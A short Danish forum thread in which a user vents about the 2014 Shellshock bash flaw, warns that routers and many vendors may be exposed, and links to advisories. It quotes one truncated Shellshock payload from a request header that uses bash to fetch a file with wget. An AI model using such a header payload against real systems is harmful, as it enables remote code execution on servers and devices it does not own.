Shell schock - hvorfor?

[r***@gmail.com]

OK, nu har jeg brudt mit hoved nogle timer for at *forstå* hvorfor nogle vil


- implementere parsing af script uden separering af data fra kørbar kode? Er Bash én stor eval? Hvorfor er det lige smart?


- Hvorfor i alverden nogle mener, det er smart at koble en shell op direkte til
en webside.

Jeg kan slet ikke forstå dette.

Det må da være indlysende, at hvis ikke Bash bliver midlet, så bliver noget
andet, hvis man tillader alt andet end den direkte scripting (fx. PHP)?

Man kan få direkte adgang til serverens inderste direkte fra nettet? Bare
sådan lige uden nogen ekstra kodeord/password? Og det er en god idé - hvorfor?


For dem, som tror, dette her kun påvirker Linux-servere eller Linux desktop...

Bash sidder måske i din router. Og så kan du være sårbar, så vidt jeg kan se.


Og det er ret nemt at udføre. Man skal bare sende en header med lidt tegn i???

Tænk, er min browser virkelig

() { :;}; /bin/bash -c "wget -O /var/tmp/wow1

??

Yup... det er i stedet for Mozilla ..


For mere info om, hvad hulen jeg snakker om:
https://access.redhat.com/articles/1200223
https://gist.github.com/anonymous/929d622f3b36b00c0be1

Læs også Henning Kamps udmærkede bashing(!) af bash... m.flere.

http://www.version2.dk/blog/hvilken-idiot-fik-den-ide-68780



MVH
Rune Jensen

[r***@gmail.com]

Post by r***@gmail.com
For dem, som tror, dette her kun påvirker Linux-servere eller Linux desktop...

Ser ud til, også Oracle, IBM, Apple, måske Google(?) Amazon(?) i et eller andet
omfang har mulige sårbarheder eller har haft.

Men det store spørgsmål er vel, om de sider, man kobler op til
for at udføre betaling, så tillader direkte tilgang til deres shell.

Alene tanken om nogetsomhelst forbindelse imellem en webside og så selve OSet,
uden nogen form for verificering, eller separering af kode fra data, synes
stadig den er helt ufattelig dum.

Men jeg venter nok nogle dage med at købe nogetsomhelst på nettet.

Better safe than sorry.


MVH
Rune Jensen